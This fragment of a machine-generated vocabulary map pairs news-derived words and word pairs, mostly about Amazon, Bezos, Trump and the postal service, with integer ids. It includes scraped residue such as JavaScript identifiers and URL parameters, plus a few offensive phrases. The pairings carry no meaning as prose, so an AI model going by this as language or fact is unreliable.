"investigation longtime": 90633, "increasing trade": 90634, "invested aggressively": 90635, "organization business": 90636, "usually free": 90637, "referencing bezos": 90638, "attorney kate": 90639, "school prank": 90640, "gorier": 90641, "alphabet reports": 90642, "fb did": 90643, "neoliberal": 90644, "president trump": 90645, "brobible files": 90646, "reduce": 90647, "bjp": 90648, "billionaire peter": 90649, "scrutiny postal": 90650, "ruling sellers": 90651, "suit violate": 90652, "resurfaced questions": 90653, "crackdowns": 90654, "apple iphone": 90655, "day special": 90656, "acute pain": 90657, "essentially force": 90658, "actually donating": 90659, "w0q0fg0otk": 90660, "facebook report": 90661, "flavorwire": 90662, "yearly flu": 90663, "year black": 90664, "good private": 90665, "paper propaganda": 90666, "weekly washington": 90667, "hour train": 90668, "chinese culture": 90669, "nesting doll": 90670, "issue white": 90671, "question isn": 90672, "comments cast": 90673, "sprawl": 90674, "strongly urged": 90675, "public view": 90676, "infrastructure land": 90677, "existing assets": 90678, "reliever": 90679, "receiving vc": 90680, "valari": 90681, "key underpinning": 90682, "waived": 90683, "fr0004178572 almed": 90684, "games regularly": 90685, "press noticed": 90686, "domestic best": 90687, "jimmy kimmel": 90688, "online letter": 90689, "different voice": 90690, "postcode war": 90691, "russian aggression01": 90692, "shares kaitlyn": 90693, "bush dog": 90694, "councilmember": 90695, "years alphabet": 90696, "hype wasn": 90697, "outstanding reports": 90698, "heil hitler": 90699, "lee ebullient": 90700, "henry roman": 90701, "hq2 experts": 90702, "frequent failures": 90703, "133": 90704, "privately prepared": 90705, "pastor trump": 90706, "fully evident": 90707, "cloud network": 90708, "crisis houston": 90709, "really smart": 90710, "intimidated releasing": 90711, "vile trashy": 90712, "pursue similar": 90713, "consumer safety": 90714, "total cross": 90715, "source material": 90716, "gown": 90717, "force south": 90718, "heitkamp liberal": 90719, "enormous rate": 90720, "complementary indigenous": 90721, "outrageously exaggerated": 90722, "bw6ikjetds": 90723, "bezos rise": 90724, "statement people": 90725, "haven seen": 90726, "transcription": 90727, "resulting price": 90728, "100 kilometres": 90729, "fulfilling": 90730, "lawsuits challenging": 90731, "trump demonstration": 90732, "927": 90733, "retailers business": 90734, "pokemon": 90735, "article new": 90736, "longer interested": 90737, "month scribner": 90738, "decade consumers": 90739, "oza": 90740, "hq texas": 90741, "prices don": 90742, "extracurricular activities": 90743, "generation wealth": 90744, "reportedly laid": 90745, "entire world": 90746, "newspaper frequent": 90747, "supporters": 90748, "salman": 90749, "perpetrated openly": 90750, "increasingly digital": 90751, "graver": 90752, "claiming ownership": 90753, "sun rays": 90754, "outdoor kid": 90755, "showurl showdetailsspancontent": 90756, "parade performers": 90757, "700 fedex": 90758, "nationwide communications": 90759, "mike flynn": 90760, "morsels": 90761, "manager ken": 90762, "open positions": 90763, "c9x function": 90764, "won big": 90765, "differences illegal": 90766, "case federal": 90767, "frates": 90768, "retailers fight": 90769, "air funny": 90770, "administration urges": 90771, "corporations politicians": 90772, "place company": 90773, "aforementioned product": 90774, "office demise": 90775, "flat rate": 90776, "funding pressure": 90777, "rosemary oregano": 90778, "fully detect": 90779, "companies just": 90780, "trump justice": 90781, "privacy policy": 90782, "tabloid allowed": 90783, "google suppressing": 90784, "condemning president": 90785, "post ignored": 90786, "faces": 90787, "including public": 90788, "400 post": 90789, "cancer gayle": 90790, "completed world": 90791, "cheering supporters": 90792, "videoplay video": 90793, "prominent artificial": 90794, "claiming": 90795, "prevent attempts": 90796, "detective returns": 90797, "blaming": 90798, "land shipment": 90799, "amazon volume": 90800, "forward cristina": 90801, "brutally": 90802, "issuer does": 90803, "oppose president": 90804, "greater regulation": 90805, "constructed": 90806, "getownpropertydescriptor r4ee": 90807, "current population": 90808, "congress announced": 90809, "fewer cameras": 90810, "soon need": 90811, "googling": 90812, "disease transform": 90813, "tell jury": 90814, "companies rourke": 90815, "mode question": 90816, "gas industry": 90817, "showering": 90818, "tm personal": 90819, "survival new": 90820, "bequeathed": 90821, "prostrate": 90822, "reutersmedia net": 90823, "roiling middle": 90824, "headlinetext cooper": 90825, "investigation indicates": 90826, "test flight": 90827, "statement today": 90828, "dog tiktok": 90829, "rebukes trump": 90830, "america working": 90831, "favorable cowen": 90832, "start preschools": 90833, "don bias": 90834, "crayton harrison": 90835, "amazon marked": 90836, "complicated legal": 90837, "saying aug": 90838, "284x160 uploaded_files": 90839, "left policies": 90840, "skit lampooning": 90841, "addison": 90842, "elephant does": 90843, "zach montellaro": 90844, "run sure": 90845, "science companies": 90846, "company dropped": 90847, "homeowner insurance": 90848, "phone cnn": 90849, "naked selfie": 90850, "gaining extraordinary": 90851, "post page": 90852, "isn hate": 90853, "athletic apparel": 90854, "sycophancy": 90855, "officials reviewing": 90856, "slowly seeing": 90857, "exas macquarie": 90858, "countries going": 90859, "npa": 90860, "info packed": 90861, "amazon research": 90862, "enchance logic": 90863, "involve words": 90864, "editor jeremy": 90865, "owns record": 90866, "networking switch": 90867, "logistics operations": 90868, "bowie second": 90869, "louisiana deputy": 90870, "cheating spouses": 90871, "bank relented": 90872, "week spring": 90873, "course funko": 90874, "styrofoam headstones": 90875, "executives safra": 90876, "tourism video": 90877, "decline year": 90878, "plug": 90879, "jerusalem apr": 90880, "audit": 90881, "individuals apparent": 90882, "justice alito": 90883, "split separating": 90884, "today includes": 90885, "academy jack": 90886, "investigative reporter": 90887, "humbug": 90888, "majority": 90889, "sheriff office": 90890, "stave": 90891, "wealthy republicans": 90892, "spat": 90893, "texas public": 90894, "digits dip": 90895, "cost overruns": 90896, "yeah john": 90897, "suv imageurl": 90898, "amazon highly": 90899, "office complex": 90900, "subsidizes packages": 90901, "complicate things": 90902, "rebuffed according": 90903, "read today": 90904, "rationing": 90905, "muted": 90906, "specializes": 90907, "books thanks": 90908, "active google": 90909, "common love": 90910, "trump stepped": 90911, "streak 2018": 90912, "bring immense": 90913, "evaluates": 90914, "pay income": 90915, "bbc tesla": 90916, "silver panel": 90917, "incel": 90918, "article related": 90919, "government requests": 90920, "fooled": 90921, "forbes": 90922, "amazon real": 90923, "reconsider opening": 90924, "amazon investment": 90925, "hilarious commentary": 90926, "does shine": 90927, "emergency savings": 90928, "department today": 90929, "santa confronts": 90930, "russian aggression": 90931, "order retail": 90932, "basis options": 90933, "states government": 90934, "2017 image": 90935, "watch paint": 90936, "overseas businesses": 90937, "existence join": 90938, "company eric": 90939, "places struggle": 90940, "moment traders": 90941, "coastal": 90942, "investors weighed": 90943, "cocktail book": 90944, "biggest jackass": 90945, "facebook pounding": 90946, "powered attorney": 90947, "wedding dress": 90948, "worker received": 90949, "old airport": 90950, "overarching goal": 90951, "pays usps": 90952, "good buddy": 90953, "coughed": 90954, "executives accused": 90955, "new revenue": 90956, "particularly alarming": 90957, "imaginary conspiracy": 90958, "claim market": 90959, "politicians union": 90960, "goal coach": 90961, "r4ee b5q": 90962, "case matthew": 90963, "disapproval": 90964, "country plus": 90965, "jeremiah": 90966, "bolduan want": 90967, "drew hill": 90968, "sleeved": 90969, "robert lasnik": 90970, "america storied": 90971, "healthcare clinical": 90972, "photo investigation": 90973, "pg report": 90974, "burlington": 90975, "impact investment": 90976, "chester spatt": 90977, "spend far": 90978, "leaks": 90979, "americans nonetheless": 90980, "happening nearby": 90981, "ebay demanding": 90982, "cassidy fidelity": 90983, "trump pushes": 90984, "ngos led": 90985, "nasdaq tdsc": 90986, "deserve better": 90987, "divine intervention": 90988, "cook trump": 90989, "crassly": 90990, "happens horror": 90991, "egerton": 90992, "departure time": 90993, "scott homell": 90994, "grenfell memorial": 90995, "hsi": 90996, "stock yards": 90997, "aluminum imports": 90998, "investors think": 90999, "thrones health": 91000, "conservative movement": 91001, "routine": 91002, "post ami": 91003, "annual profits": 91004, "broken community": 91005, "discuss ongoing": 91006, "atlanta ga": 91007, "representatives led": 91008, "tight timeline": 91009, "controllable losses": 91010, "date analysis": 91011, "high powered": 91012, "based preschools": 91013, "weaponizing": 91014, "dry adding": 91015, "peak fiscal": 91016, "chevron according": 91017, "tola": 91018, "uses taxpayer": 91019, "nonsensical lenz": 91020, "democrats target": 91021, "customers cars": 91022, "having millions": 91023, "standalone proposals": 91024, "assets 181002123302": 91025, "released date": 91026, "public excoriations": 91027, "paypal rise": 91028, "total bidders": 91029, "agency reasonable": 91030, "america homegrown": 91031, "iconic science": 91032, "calls workshare": 91033, "storehouse": 91034, "calm": 91035, "publicist spoke": 91036, "kelly clarkson": 91037, "thirtieth street": 91038, "decades pic": 91039, "high student": 91040, "groundsto": 91041, "hawn": 91042, "people travel": 91043, "recovered virginia": 91044, "new efforts": 91045, "billionaire private": 91046, "seattle today": 91047, "pitted": 91048, "spotlight": 91049, "largest caucus": 91050, "district office": 91051, "amazon hickman": 91052, "alphonso": 91053, "post toy": 91054, "money acquiring": 91055, "intelligence newswire": 91056, "rap star": 91057, "fine issued": 91058, "jenna bowman": 91059, "local station": 91060, "midterms arizona": 91061, "sean kane": 91062, "kaitlan great": 91063, "walkout solidarity": 91064, "sixth branch": 91065, "make lot": 91066, "americans lgbt": 91067, "amazon agriculture": 91068, "season don": 91069, "deserving candidate": 91070, "large capacity": 91071, "korea nukes": 91072, "house spokesman": 91073, "seconds": 91074, "told bloomberg": 91075, "unlikable": 91076, "pumpkin": 91077, "differently": 91078, "recorded significant": 91079, "pioneered": 91080, "photos reveal": 91081, "private industry": 91082, "including 300": 91083, "applebaum": 91084, "finally reached": 91085, "send tips": 91086, "upset amazon": 91087, "agent column": 91088, "cancer risk": 91089, "trump muslim": 91090, "flow chart": 91091, "represented christian": 91092, "cannabis": 91093, "retailer sanders": 91094, "putin public": 91095, "trump awaits": 91096, "cha ching": 91097, "hours earlier": 91098, "kim_bak": 91099, "activities led": 91100, "officer brett": 91101, "\u014228": 91102, "overall shipping": 91103, "nyse wfc": 91104, "business expert": 91105, "publisher confidant": 91106, "set national": 91107, "billion seriously": 91108, "note amazons": 91109, "trump establishment": 91110, "lawsuit enquirer": 91111, "ott": 91112, "demonstrations outside": 91113, "basically speak": 91114, "harmful products": 91115, "joey roulette": 91116, "unthinkable new": 91117, "divided according": 91118, "nevada arizona": 91119, "zucker": 91120, "remark": 91121, "videocardcontents media": 91122, "nonsense refusing": 91123, "refinanced 460": 91124, "alarming tone": 91125, "insensitivity": 91126, "union skewered": 91127, "rite aid": 91128, "crumbs": 91129, "jones stock": 91130, "yiwu bloomberg": 91131, "representing ami": 91132, "unexpectedly strong": 91133, "drew gun": 91134, "actually start": 91135, "academy award": 91136, "seasonal pressure": 91137, "imperious couple": 91138, "rebeccaarainey tedhesson": 91139, "deforestation despite": 91140, "customers worldwide": 91141, "safra": 91142, "trump vendetta": 91143, "data collected": 91144, "including jj": 91145, "sandwich typically": 91146, "paid slots": 91147, "melissa boteach": 91148, "cincinnati financial": 91149, "3000 says": 91150, "lobbed criticisms": 91151, "cnn sucks": 91152, "susan solovic": 91153, "amazon rolls": 91154, "tom arnold": 91155, "pre pays": 91156, "sound area": 91157, "gentrification": 91158, "button issues": 91159, "seal pac": 91160, "jungle follows": 91161, "clinical trial": 91162, "msnbc just": 91163, "psychopath decides": 91164, "making matters": 91165, "tunein": 91166, "president mike": 91167, "additional reporting": 91168, "included diana": 91169, "news pointed": 91170, "comments appeared": 91171, "rm217 45bil": 91172, "answer peace": 91173, "amazon overall": 91174, "systems according": 91175, "rhapsody": 91176, "annual charts": 91177, "953": 91178, "rapes": 91179, "intransigence": 91180, "ainsley considers": 91181, "story fight": 91182, "amci": 91183, "purvis": 91184, "gamble business": 91185, "healthcare athletic": 91186, "farout": 91187, "fcf": 91188, "noah wyle": 91189, "project jeremiah": 91190, "organization limited": 91191, "valentine day": 91192, "don record": 91193, "writer dee": 91194, "peddling": 91195, "lease renewals": 91196, "requires companies": 91197, "recently defended": 91198, "joyce": 91199, "lindsay gellman": 91200, "angelo zino": 91201, "massive economic": 91202, "corey": 91203, "committee confirmed": 91204, "probably": 91205, "depreciation deductions": 91206, "long arm": 91207, "becker told": 91208, "divides": 91209, "digital innovation": 91210, "way proving": 91211, "canpoint": 91212, "rental units": 91213, "stay innovative": 91214, "angry": 91215, "investor worry": 91216, "soon realizes": 91217, "virginia officials": 91218, "coup \u00e9tat": 91219, "luis bracamontes": 91220, "love story": 91221, "licensing dailycallernewsfoundation": 91222, "collected": 91223, "bezos separately": 91224, "springs mayor": 91225, "beloved character": 91226, "currently implemented": 91227, "save nearly": 91228, "mayors": 91229, "book retailers": 91230, "zig": 91231, "rinds": 91232, "including cnbc": 91233, "poor air": 91234, "television ad": 91235, "westmoreland": 91236, "company threats": 91237, "john stiffler": 91238, "soon engage": 91239, "line drain": 91240, "ruhle delivers": 91241, "bring imageurl": 91242, "mobile browsers": 91243, "mark janus": 91244, "eating wild": 91245, "obeyed": 91246, "sz3vf6lrhe": 91247, "acquire snapchat": 91248, "usps historically": 91249, "investment trump": 91250, "damara": 91251, "javascript": 91252, "shreds": 91253, "executives including": 91254, "good outcome": 91255, "cheaper workforce": 91256, "threat prank": 91257, "return m4": 91258, "muckerman don": 91259, "act politico": 91260, "food really": 91261, "georgia press": 91262, "stone makes": 91263, "sands": 91264, "fechte": 91265, "fx supposedly": 91266, "christine lagarde": 91267, "sinema wins": 91268, "asian trading": 91269, "sarcastic conman": 91270, "package going": 91271, "rocket billionaires": 91272, "arj1kzbh5h": 91273, "president stops": 91274, "cainiao logistics": 91275, "newsom": 91276, "guest opinion": 91277, "divert": 91278, "generate incredible": 91279, "delivery sector": 91280, "wework labs": 91281, "boost designed": 91282, "2018 guess": 91283, "impair profitability": 91284, "growing signs": 91285, "operations finance": 91286, "democrats planned": 91287, "package carriers": 91288, "highest options": 91289, "fuse": 91290, "directly involve": 91291, "brianstelter": 91292, "allowing missouri": 91293, "john boyd": 91294, "higher": 91295, "slideshows amazon": 91296, "offer couldn": 91297, "president raised": 91298, "cautiously": 91299, "f7ce00 cnl_contributor_accessflag": 91300, "unfolded": 91301, "twitter punished": 91302, "delivering toiletries": 91303, "kormann": 91304, "inaugural speech": 91305, "scandal free": 91306, "sites telling": 91307, "theintercept": 91308, "huge problem": 91309, "slumber": 91310, "taking moment": 91311, "whatsapp amazon": 91312, "4g": 91313, "technology stealing": 91314, "international crime": 91315, "videoid nextvideourl": 91316, "thune sd": 91317, "spit": 91318, "rights revolution": 91319, "dos commands": 91320, "racking": 91321, "esports eden": 91322, "report fort": 91323, "mean feat": 91324, "washington related": 91325, "cassell frame": 91326, "legendary new": 91327, "cato": 91328, "economies sentiment": 91329, "launch parties": 91330, "book appeared": 91331, "brothels": 91332, "diseased": 91333, "cable companies": 91334, "225 rising": 91335, "team altered": 91336, "political strife": 91337, "caps": 91338, "kompromat operation": 91339, "statement ebay": 91340, "nbc kavanaugh": 91341, "absolute power": 91342, "quit": 91343, "cited priority": 91344, "otcpk": 91345, "house gallery": 91346, "california authorities": 91347, "times richer": 91348, "commercial space": 91349, "c2x r4ee": 91350, "based company": 91351, "350 words": 91352, "you\u00e2re staying": 91353, "long battled": 91354, "les moonves": 91355, "google headquarters": 91356, "shop using": 91357, "music companies": 91358, "trump reported": 91359, "immutable condition": 91360, "reputation limit": 91361, "alleging amazon": 91362, "par amazon": 91363, "sudden people": 91364, "addled": 91365, "27th": 91366, "long server": 91367, "commercial flights": 91368, "housing policy": 91369, "cjr newsletter": 91370, "morality ethic": 91371, "chapo sent": 91372, "flag shirts": 91373, "autonomous trucks": 91374, "elephant evolution": 91375, "camille": 91376, "complained publicly": 91377, "warm outside": 91378, "publicly attacking": 91379, "caption lauren": 91380, "economic crisis": 91381, "human sort": 91382, "public documents": 91383, "liberal flank": 91384, "west according": 91385, "making comments": 91386, "amc series": 91387, "obviously benefit": 91388, "fit hand": 91389, "cozy collusion": 91390, "puryear": 91391, "south dakota": 91392, "historic day": 91393, "plusthat": 91394, "metoo story": 91395, "wage inflation": 91396, "plumber": 91397, "platform initially": 91398, "china according": 91399, "certain individuals": 91400, "recession thought": 91401, "trump notoriously": 91402, "phenomenally upward": 91403, "andrew goldstein": 91404, "silicon": 91405, "water climate": 91406, "honky tonky": 91407, "aesthetic standpoint": 91408, "true color": 91409, "wouldn think": 91410, "congress named": 91411, "money just": 91412, "largest lobbying": 91413, "film rights": 91414, "867": 91415, "vestager eu": 91416, "service sustainable": 91417, "city ___": 91418, "remained steadfast": 91419, "opaquely": 91420, "hours president": 91421, "unbelievable deal": 91422, "shade roseanne": 91423, "weekly standard": 91424, "demand shares": 91425, "used fear": 91426, "country people": 91427, "pied": 91428, "trillion tax": 91429, "ice nonetheless": 91430, "lieutenant": 91431, "extend far": 91432, "ply": 91433, "large chunks": 91434, "salacious tale": 91435, "day care": 91436, "site highlights": 91437, "replicate": 91438, "monopoly power": 91439, "accounts trump": 91440, "glad bring": 91441, "tano capital": 91442, "murky trump": 91443, "story amazons": 91444, "reportedly concluded": 91445, "indivisible": 91446, "state did": 91447, "john earnest": 91448, "transformative power": 91449, "romantically involved": 91450, "bezos privately": 91451, "merchandise stated": 91452, "spouted": 91453, "b7a tostring": 91454, "pricing dec": 91455, "initiating government": 91456, "decade bloomberg": 91457, "new domains": 91458, "creatures": 91459, "ruling class": 91460, "slack": 91461, "rein": 91462, "awards columns": 91463, "commission presidency": 91464, "establish central": 91465, "manager bezos": 91466, "severe flooding": 91467, "writer graham": 91468, "lawmakers banned": 91469, "week spurred": 91470, "eye look": 91471, "pic washington": 91472, "discrediting": 91473, "rapidly slowing": 91474, "gdp coming": 91475, "risk captive": 91476, "tariffs escalate": 91477, "accumulation mode": 91478, "business russell": 91479, "operating delivery": 91480, "miccosukee": 91481, "development corporation": 91482, "businesses stand": 91483, "safe republican": 91484, "designing mini": 91485, "final quarter": 91486, "elections hit": 91487, "wynn mgm": 91488, "substantive disagreement": 91489, "held overseas": 91490, "duke left": 91491, "douliery": 91492, "dt": 91493, "giant shoes": 91494, "delivery center": 91495, "amphibious": 91496, "pledged 100": 91497, "hero met": 91498, "demanding congress": 91499, "close attention": 91500, "chip average": 91501, "newsletter terms": 91502, "jealousy game": 91503, "skirting": 91504, "syria nearing": 91505, "week release": 91506, "pf_rd_i 13270229011": 91507, "queensbridge ravenswood": 91508, "booze 2018": 91509, "lawmakers remain": 91510, "run afoul": 91511, "press goat": 91512, "purchases reducing": 91513, "land labor": 91514, "action click": 91515, "durkin richer": 91516, "tax returns": 91517, "govpredict": 91518, "amazon invented": 91519, "accord moments": 91520, "bulls 2019": 91521, "states analysis": 91522, "posting personal": 91523, "giant cage": 91524, "unsuccessfully": 91525, "add fulfillment": 91526, "post president": 91527, "partly politically": 91528, "international supporting": 91529, "told fox": 91530, "irresistibly easy": 91531, "wider sell": 91532, "fuss": 91533, "illinois news": 91534, "calls amazon": 91535, "auto recalls": 91536, "stakeholder support": 91537, "weeks meeting": 91538, "does fox": 91539, "life sciences": 91540, "attacks aimed": 91541, "president battle": 91542, "pound": 91543, "stonewall": 91544, "helon habila": 91545, "britain 2019": 91546, "language ssml": 91547, "viral": 91548, "say intelligence": 91549, "news dissemination": 91550, "timothy brien": 91551, "arrow films": 91552, "pass foxconn": 91553, "bankruptcy": 91554, "major donations": 91555, "view bezos": 91556, "comically preventable": 91557, "application": 91558, "based tech": 91559, "making cities": 91560, "sparks ire": 91561, "reviewed investors": 91562, "obama speeches": 91563, "amazon principal": 91564, "makes stock": 91565, "say supporters": 91566, "dutifully explained": 91567, "union command": 91568, "points worldwide": 91569, "ceo clayton": 91570, "air currently": 91571, "891": 91572, "apollo": 91573, "chats": 91574, "walmart website": 91575, "apr energy": 91576, "harlem hizzoner": 91577, "352": 91578, "arapahoe ave": 91579, "administration objected": 91580, "cnet chronicles": 91581, "banker raymond": 91582, "noon demonstrators": 91583, "year patent": 91584, "include steering": 91585, "cambridge": 91586, "gray prime": 91587, "shirts magnets": 91588, "taobao": 91589, "political rally": 91590, "people zuker": 91591, "ty trippet": 91592, "kidman says": 91593, "worth 890": 91594, "affect semiconductor": 91595, "stories right": 91596, "buy home": 91597, "say hurts": 91598, "specific concerns": 91599, "says bidens": 91600, "refugee crisis": 91601, "paul meeks": 91602, "continued strong": 91603, "income billion": 91604, "boils": 91605, "skin lightening": 91606, "different subject": 91607, "know just": 91608, "justice investigation": 91609, "trillion level": 91610, "dining flint": 91611, "ftc investigation": 91612, "fierceness": 91613, "minimal wage": 91614, "contact": 91615, "wasn surprised": 91616, "sandboxed iframes": 91617, "coming months": 91618, "illinois gov": 91619, "cheaper environmentalists": 91620, "appear suggesting": 91621, "bombshell investigation": 91622, "mnuchin time": 91623, "husband david": 91624, "covering controversial": 91625, "dates listed": 91626, "minority rights": 91627, "reserve raising": 91628, "scribner": 91629, "says 2018": 91630, "monitoring vast": 91631, "president silence": 91632, "philly": 91633, "deb": 91634, "overs": 91635, "criticized washington": 91636, "woman standing": 91637, "estimates suggesting": 91638, "analysis available": 91639, "gop lambasts": 91640, "deal nonsense": 91641, "memphian alice": 91642, "gift bag": 91643, "week lab": 91644, "contextual omnipresence": 91645, "bottlenecks": 91646, "motors dropped": 91647, "new threat": 91648, "additionally privacy": 91649, "hates": 91650, "new gtld": 91651, "dc": 91652, "seriesname": 91653, "calif introduced": 91654, "security": 91655, "contributor argued": 91656, "trade partners": 91657, "happened amazon": 91658, "170k": 91659, "post fed": 91660, "goklany": 91661, "walmart subsidiary": 91662, "humongous": 91663, "cuts 2018": 91664, "purpose splitting": 91665, "repeatedly tweeted": 91666, "different forms": 91667, "internal debate": 91668, "nationalize": 91669, "memorandum aimed": 91670, "scalping": 91671, "eleventh hour": 91672, "trump regularly": 91673, "alternatively bartlett": 91674, "previous high": 91675, "interview ibama": 91676, "consent": 91677, "prominent placement": 91678, "monopolies continue": 91679, "brands remain": 91680, "force members": 91681, "2017 postal": 91682, "know moser": 91683, "ultimately failure": 91684, "politic": 91685, "security bonus": 91686, "toes": 91687, "jr draw": 91688, "statistics 216657": 91689, "decisions voters": 91690, "msdc14": 91691, "maker unveils": 91692, "occupies": 91693, "sears foray": 91694, "words trump": 91695, "warner falls": 91696, "aftrekposten": 91697, "struck nerve": 91698, "marching onward": 91699, "website ace": 91700, "young 2018": 91701, "estate leases": 91702, "cotton candy": 91703, "products blocked": 91704, "patently false": 91705, "brief period": 91706, "curt": 91707, "considerable impact": 91708, "trump attire": 91709, "incarceration": 91710, "000 followers": 91711, "gervais": 91712, "katopodis": 91713, "parise showtime": 91714, "2019 buying": 91715, "index djia": 91716, "wouldn share": 91717, "debbie alsdorf": 91718, "530": 91719, "seek federal": 91720, "shares tumbling": 91721, "diamond silk": 91722, "economic wasteland": 91723, "jobs naturally": 91724, "added varivax": 91725, "boycott list": 91726, "t000002774 t000002537": 91727, "military troops": 91728, "hill testimony": 91729, "allergy": 91730, "rare tech": 91731, "yellow digger": 91732, "migrant dead": 91733, "security deal": 91734, "public lands": 91735, "bells stocks": 91736, "166": 91737, "instigating wiretaps": 91738, "upgrade nasdaq": 91739, "victor davis": 91740, "amazon senior": 91741, "1940s": 91742, "coalition plans": 91743, "nude selfies": 91744, "expressed": 91745, "cheaper listings": 91746, "brexit free": 91747, "lululemon": 91748, "developed existing": 91749, "times want": 91750, "goods used": 91751, "finalist cities": 91752, "raw action": 91753, "inches": 91754, "world source": 91755, "aggressive trade": 91756, "nears": 91757, "cult left": 91758, "publish salacious": 91759, "strother gaines": 91760, "melancholia washington": 91761, "insanely good": 91762, "111 billion": 91763, "help millions": 91764, "today technology": 91765, "media chairman": 91766, "criminal courts": 91767, "2010et": 91768, "crude threats": 91769, "reason amazon": 91770, "years martin": 91771, "partnerships silicon": 91772, "walmart business": 91773, "crisis 2018": 91774, "shadowy ex": 91775, "teresa vilmain": 91776, "level executives": 91777, "schwan": 91778, "successful launch": 91779, "ftc consent": 91780, "dabbler": 91781, "del mundo": 91782, "jude law": 91783, "varied phases": 91784, "happened yesterday": 91785, "dslr": 91786, "status maybe": 91787, "mueller report": 91788, "dayton": 91789, "mueller concluded": 91790, "shirley jackson": 91791, "web service": 91792, "maples": 91793, "working negotiated": 91794, "doubt sound": 91795, "forbes exclusive": 91796, "quarter cloud": 91797, "wave business": 91798, "good laugh": 91799, "rallied nearly": 91800, "futures trading": 91801, "countries amazon": 91802, "difficult workplace": 91803, "receives immunity": 91804, "tootin": 91805, "congress chief": 91806, "plattsburgh ny": 91807, "commanding vantage": 91808, "griffin amazon": 91809, "wearables virtual": 91810, "badges obligatory": 91811, "brzezinski claims": 91812, "day landings": 91813, "dan says": 91814, "fury confidential": 91815, "ross personification": 91816, "rancher": 91817, "decreased corporate": 91818, "paradise": 91819, "jacobson amazon": 91820, "mixed": 91821, "570": 91822, "outlook disappoints": 91823, "freedberg": 91824, "offer meal": 91825, "ruling mtp": 91826, "execs spelling": 91827, "giant ire": 91828, "retailing google": 91829, "research partners": 91830, "suffer": 91831, "wis announced": 91832, "visit government": 91833, "dominance overseas": 91834, "indictments": 91835, "richest couple": 91836, "action slimy": 91837, "win money": 91838, "295 million": 91839, "examples": 91840, "consent decree": 91841, "antonio vargas": 91842, "price albeit": 91843, "examining public": 91844, "best buy": 91845, "laden": 91846, "judge ruling": 91847, "color immigrants": 91848, "using regulatory": 91849, "unforeseen repercussions": 91850, "including video": 91851, "clipa2 bag": 91852, "prime banned": 91853, "say walking": 91854, "surveillance footage": 91855, "reconciliation act": 91856, "scandals": 91857, "develop partnerships": 91858, "4g fleet": 91859, "economic analysts": 91860, "taken straight": 91861, "real money": 91862, "mask": 91863, "year group": 91864, "lawyers say": 91865, "finally ending": 91866, "illegal domestic": 91867, "excoriated canada": 91868, "criminal allegations": 91869, "discuss rekognition": 91870, "incremental accounting": 91871, "tinder": 91872, "using augmented": 91873, "story symantec": 91874, "desney tan": 91875, "understand basic": 91876, "jamaica avenue": 91877, "extra marital": 91878, "potentially giving": 91879, "asconfident": 91880, "focusing instead": 91881, "screwed small": 91882, "self worth": 91883, "billion seattle": 91884, "workforce thank": 91885, "island agree": 91886, "majority muslim": 91887, "index industrials": 91888, "gamesmanship": 91889, "schrader deeply": 91890, "gwyneth": 91891, "gaga close": 91892, "uncovered emails": 91893, "additives": 91894, "homegrown scary": 91895, "areas new": 91896, "original miniseries": 91897, "windfall paying": 91898, "fees high": 91899, "hubbard": 91900, "exciting soybean": 91901, "geoffrey joyce": 91902, "attention paid": 91903, "lists michael": 91904, "huge real": 91905, "played ohio": 91906, "400 employees": 91907, "state clean": 91908, "amazon disruptors": 91909, "kayla": 91910, "wall construction": 91911, "health cdc": 91912, "dump roe": 91913, "recipient": 91914, "fiscal years": 91915, "shirts bearing": 91916, "steamy bathroom": 91917, "commercial aviation": 91918, "gas extraction": 91919, "brands market": 91920, "recurring barrage": 91921, "growth path": 91922, "845 million": 91923, "democratic hopefuls": 91924, "unlike bezos": 91925, "fragrances": 91926, "anticipated conference": 91927, "tightest": 91928, "pace": 91929, "protection act": 91930, "google play": 91931, "century fox": 91932, "seat jets": 91933, "_items showindex": 91934, "naeem aslam": 91935, "teacher missing": 91936, "hum": 91937, "major obstacle": 91938, "u2": 91939, "starts president": 91940, "recent events": 91941, "diginomica": 91942, "seen dancing": 91943, "1600 type": 91944, "money business": 91945, "44ec": 91946, "tread steep": 91947, "bruce brown": 91948, "story exclusive": 91949, "cole okla": 91950, "pr firm": 91951, "believes sanders": 91952, "revisionist": 91953, "sanctions 2019": 91954, "track approval": 91955, "senator looking": 91956, "chairman art": 91957, "tech vendors": 91958, "hired": 91959, "night jeff": 91960, "verdi services": 91961, "medicaid expansion": 91962, "mental": 91963, "growing stronger": 91964, "milkshakes trumped": 91965, "talk television": 91966, "megadonor tom": 91967, "million year": 91968, "seller lists": 91969, "fda gov": 91970, "daughter hannah": 91971, "article38200763": 91972, "existing economic": 91973, "year things": 91974, "new questionable": 91975, "major investments": 91976, "savages cnn": 91977, "aviation cinematographer": 91978, "including louisiana": 91979, "kids sporting": 91980, "defensible attack": 91981, "nations growing": 91982, "slayings": 91983, "bioscience": 91984, "cnl_global_nav_background_color null": 91985, "personal information": 91986, "people displaced": 91987, "ill tempered": 91988, "personal element": 91989, "giant chord": 91990, "noir set": 91991, "protests hawaii": 91992, "moving aggressively": 91993, "ramy hulu": 91994, "clsa": 91995, "pitchers": 91996, "business spending": 91997, "southern maryland": 91998, "members jenna": 91999, "staunch supporter": 92000, "4dg3xiy6 dpbs": 92001, "succors": 92002, "kristin lynch": 92003, "final development": 92004, "mission purpose": 92005, "saudi elite": 92006, "detainment": 92007, "itwas reconsidering": 92008, "truly understand": 92009, "4q": 92010, "tech ambitions": 92011, "massey hall": 92012, "reportedly reached": 92013, "nsa spy": 92014, "saga": 92015, "kovac right": 92016, "american media": 92017, "bezos dinner": 92018, "called special": 92019, "competes directly": 92020, "ethical lines": 92021, "technology run": 92022, "live joked": 92023, "social condition": 92024, "credit ivanka": 92025, "greatest conspiracy": 92026, "steele": 92027, "checking": 92028, "hardline anti": 92029, "brett krichiver": 92030, "vallone": 92031, "included intimate": 92032, "p9x return": 92033, "trump raised": 92034, "says nafta": 92035, "sbe": 92036, "aninternal": 92037, "western portions": 92038, "george added": 92039, "fletcher talk": 92040, "trade association": 92041, "blue chippiest": 92042, "received novels": 92043, "fall accident": 92044, "reportedly reviewed": 92045, "contributions": 92046, "content electronic": 92047, "bds movement": 92048, "wsfolders 13008359": 92049, "assiduously": 92050, "english raised": 92051, "brain": 92052, "analyst mary": 92053, "limited time": 92054, "left organization": 92055, "family relations": 92056, "sent 795": 92057, "coolest new": 92058, "public global": 92059, "tariff costs": 92060, "illegal counterfeit": 92061, "bacall modeled": 92062, "mwpvl international": 92063, "keywell uptake": 92064, "walmart operates": 92065, "routinely targeted": 92066, "abruptly halted": 92067, "home ownership": 92068, "2019 read": 92069, "_0x": 92070, "remove organizations": 92071, "merril": 92072, "economy raise": 